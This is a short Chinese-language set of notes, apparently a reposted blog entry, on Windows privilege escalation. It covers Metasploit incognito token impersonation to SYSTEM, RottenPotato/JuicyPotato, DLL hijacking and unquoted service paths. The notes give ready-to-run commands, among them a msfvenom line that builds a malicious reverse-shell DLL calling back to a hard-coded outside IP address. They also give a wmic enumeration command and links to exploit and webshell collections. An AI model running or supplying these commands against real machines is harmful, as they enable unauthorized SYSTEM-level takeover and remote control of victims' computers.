提權 令牌竊取:竊取system用戶的權限,注入system權限的行程
#msf自帶模塊竊取 管理員--->系統權限
前提:需要管理員權限

輸入三條命令:
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"

#爛土豆及升級版(web服務型賬戶權限--> 系統權限)
use incognito //列舉有哪些用戶的行程,一般有用戶和system用戶
list_tokens -u
execute -cH -f ./rottenpotato.exe //上傳rottenpotato.exe并執行提權
impersonate_token “NT AUTHORITY\\SYSTEM”
#DLL劫持提權應用配合MSF-Web權限
原理:Windows程式啟動的時候需要DLL,如果這些DLL 不存在,則可以通過在應用程式要查找的位置放置惡意DLL來提權,通常,Windows應用程式有其預定義好的搜索DLL的路徑,它會根據下面的順序進行搜索:
1、應用程式加載的目錄
2、C:\Windows\System32
3、C:\Windows\System
4、C:\Windows
5、當前作業目錄Current Working Directory,CWD
6、在PATH環境變數的目錄(先系統后用戶)
程序:資訊收集-行程除錯-制作dll并上傳-替換dll-啟動應用后成功
msfvenom -p windows/meterpreter/reverse_tcp lhost=101.37.169.46 lport=6677 -f dll >/opt/test.dll
#不帶引號服務路徑配合MSF-Web,本地權限
原理:當Windows服務運行時,會發生以下兩種情況之一,如果給出了可執行檔案,并且參考了完整路徑,則系統會按字面解釋它并執行,但是,如果服務的二進制路徑未包含在引號中,則作業系統將會執行找到的空格分隔的服務路徑的第一個實體,
程序:檢測引號服務路徑-利用路徑制作檔案并上傳-啟用服務或重啟-呼叫后成功
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
cs也有提權的插件
https://github.com/ohpe/juicy-potato //2019出的,這個提權工具比較新,好用
https://github.com/foxglovesec/RottenPotato
https://github.com/breenmachine/RottenPotatoNG
https://github.com/tennc/webshell //后門合集
https://www.sdbeta.com/wg/2020/0628/235361.html
https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk
https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075 //爛土豆
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/212984.html
標籤:其他
